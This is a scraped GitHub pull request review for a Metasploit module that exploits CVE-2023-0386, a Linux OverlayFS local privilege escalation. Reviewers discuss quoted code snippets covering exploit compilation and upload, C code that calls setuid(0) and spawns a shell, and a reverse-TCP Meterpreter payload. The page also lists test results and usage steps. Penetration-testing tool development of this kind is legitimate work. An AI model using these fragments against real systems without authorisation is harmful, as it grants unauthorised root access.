-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441
Add module: Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386 #19441
Conversation
Linux Priv Esc (OverlayFS copying bug) CVE-2023-0386
if live_compile? && command_exists?('xxd') | ||
vprint_status('Live compiling exploit on system...') | ||
upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c')) | ||
cmd_exec("cd #{exploit_dir} && xxd -i shell > shell.xxd") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For Meterepreter sessions after the cd
command is executed the working directory will revert to the original directory, whereas in a shell session there will be a state change and the subsequent commands will be executed from the exploit_dir
.
To better support Meterpreter sessions could you just pass in the relative directory to all commands instead running the cd
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for your comment!
I intend to use cd command just for xxd command.
When using xxd command, we need -n option to set the variable name used in C include output (-i). Seems like older xxd command does not have -n option.
Without -n option and pass relative path (full path in this case, though) to xxd, variable name becomes something below (maybe /
and .
convert to _
?).
Handling this could cause some trouble, if not done correctly, so temporary change directory and run xxd command to specify file name without relative path. Is it acceptable?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Now I've updated a lot, and no longer need cd command. cd97b08
Thank you!
register_file_for_cleanup(payload_path) | ||
|
||
# Launch exploit | ||
timeout = 30 |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should this maybe be user configurable?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you! See. dc81711
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you for the module! You may want to check out the overlayfs module I wrote a few years ago, as a lot of the ruby code will be the same, and I think it might be worthwhile to take the same approach for launching the payload directly from within the exploit code: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_3493_overlayfs.rb
return -1; | ||
} | ||
|
||
system("/bin/bash"); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Could we instead call the binary payload directly here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you!
I've tested directly calling payload using cd97b08 and 692531b (latter needs to set setuid and setgid in C code).
Seems like directly calling payload takes some time (about 1 min) to really open Meterpreter session after Meterpreter session opened message.
This one (not directly calling payload) is much faster (about a few sec). 8366252 (needs to set setuid and setgid in C code).
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think adding the setuid
and setgid
in the C is a better path- fewer compiles and worth a little longer wait, but that's just my opinion.
cmd_exec("echo '#{payload_path} & exit' | #{exploit_dir}/cve-2023-0386", nil, timeout) | ||
end | ||
|
||
def get_exploit(exploit_dir) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We should move this to the metasploit-framework/data/external/source
directory in a separate file.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you! I've moved C code. cd97b08
|
||
#include "shell.xxd" | ||
|
||
#define DIR_BASE "#{exploit_dir}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
EDIT- I now understand why this all looks familiar; I wrote a module for a different overlyfs exploit. I passed the exploit dir and the payload in as a parameter. You cans ee my source here: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/local/cve_2021_3493_overlayfs.rb
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you! I've changed to pass the exploit directory and the payload in as a parameter. cd97b08
upload_and_compile("#{exploit_dir}/shell", exploit_source('CVE-2023-0386', 'getshell.c')) | ||
cmd_exec("cd #{exploit_dir} && xxd -i shell > shell.xxd") | ||
write_file("#{exploit_dir}/cve-2023-0386.c", strip_comments(get_exploit("#{exploit_dir}/.#{rand_text_alphanumeric(5..10)}"))) | ||
cmd_exec("gcc -o #{exploit_dir}/cve-2023-0386 #{exploit_dir}/cve-2023-0386.c -D_FILE_OFFSET_BITS=64 -static -lfuse -ldl -pthread") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is there a reason you're using upload_and_compile
above, but manually using gcc here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I misunderstood upload_and_compile's second argument is a file path. cd97b08
|
||
|
||
int main(int argc, char const *argv[]) { | ||
if (setuid(0) < 0) { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
You're using setuid and setgid here, but also in the payload?
Since the set commands are supported in the binary payloads, I don't think this is needed unless we're supporting ARCH_CMD
payloads, and I don't see you using them here?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
EDIT- I don't think you need this; I think we can directly call the binary payload from within the exploit code itself.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
cmd_exec("chmod +x #{exploit_dir}/cve-2023-0386") | ||
else | ||
vprint_status('Dropping pre-compiled exploit on system...') | ||
upload_and_chmodx("#{exploit_dir}/cve-2023-0386", exploit_data('CVE-2023-0386', 'cve-2023-0386')) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
How does this work if we need to change the exploit_dir
value?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I should use exploit_path
? 9e832eb
use linux/x64/meterpreter_reverse_tcp Co-authored-by: Brendan <[email protected]>
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
end | ||
|
||
# Upload exploit executable | ||
exploit_dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Why create a directory for the exploit, instead of simply putting it into #{base_dir}
?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
While not strictly necessary, this code pattern was introduced in local exploit modules to keep all artifacts (such as temp files from compiling on-system) within one directory which can be deleted upon completion.
Given this module performs a few rm -rf
calls, I'd certainly feel safer keeping exploitation contained.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thank you!
I'd certainly feel safer keeping exploitation contained.
I agree.
Use kernel_version.btween Co-authored-by: Julien Voisin <[email protected]>
Avoid recursively delete files indiscriminate. Co-authored-by: bcoles <[email protected]>
Thank you for reviewing!
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Amazing work! One last thought on trying to get out of the need to have the shell binary. If you make a call to setuid
and setgid` in the exploit before calling the payload, you don't need to have that shell binary to do it.
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/local/cve_2023_0386_overlayfs_priv_esc.rb
Outdated
Show resolved
Hide resolved
Add setuid(0) and setgid(0) Co-authored-by: Brendan <[email protected]>
Change to call setgid and setuid in the exploit before executing the payload Co-authored-by: Brendan <[email protected]>
Thanks! Applied your suggestions, updated binary and retested. Ubuntu 20.04 (Linux 5.13.0-1021-oem)
Ubuntu 22.04 (Linux 6.0.0-060000-generic)
Ubuntu 22.04 (Linux 6.0.19-060019-generic)
Ubuntu 22.04 (Linux 6.1.0-060100-generic)
|
|
I pushed an updated binary because I have trust issues and it is easier for me to recompile than reverse-engineer the binary file. |
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Great job; thank you so much for your time!
Release NotesThis adds an exploit module that leverages a flaw in the Linux kernel’s OverlayFS subsystem, which allows unauthorized access to the execution of the setuid file with capabilities (CVE-2023-0386). This enables a local user to escalate their privileges on the system. |
close #18766
Vulnerable Application
This exploit targets the Linux kernel bug in OverlayFS.
A flaw was found in the Linux kernel, where unauthorized access to the execution of the setuid file with capabilities
was found in the Linux kernel’s OverlayFS subsystem in how a user copies a capable file from a nosuid mount into another mount.
This uid mapping bug allows a local user to escalate their privileges on the system.
The vulnerability affects:
This module was successfully tested on:
Install
Verification Steps
use exploit/linux/local/cve_2023_0386_overlayfs_priv_esc
run session=<session> lhost=<lhost>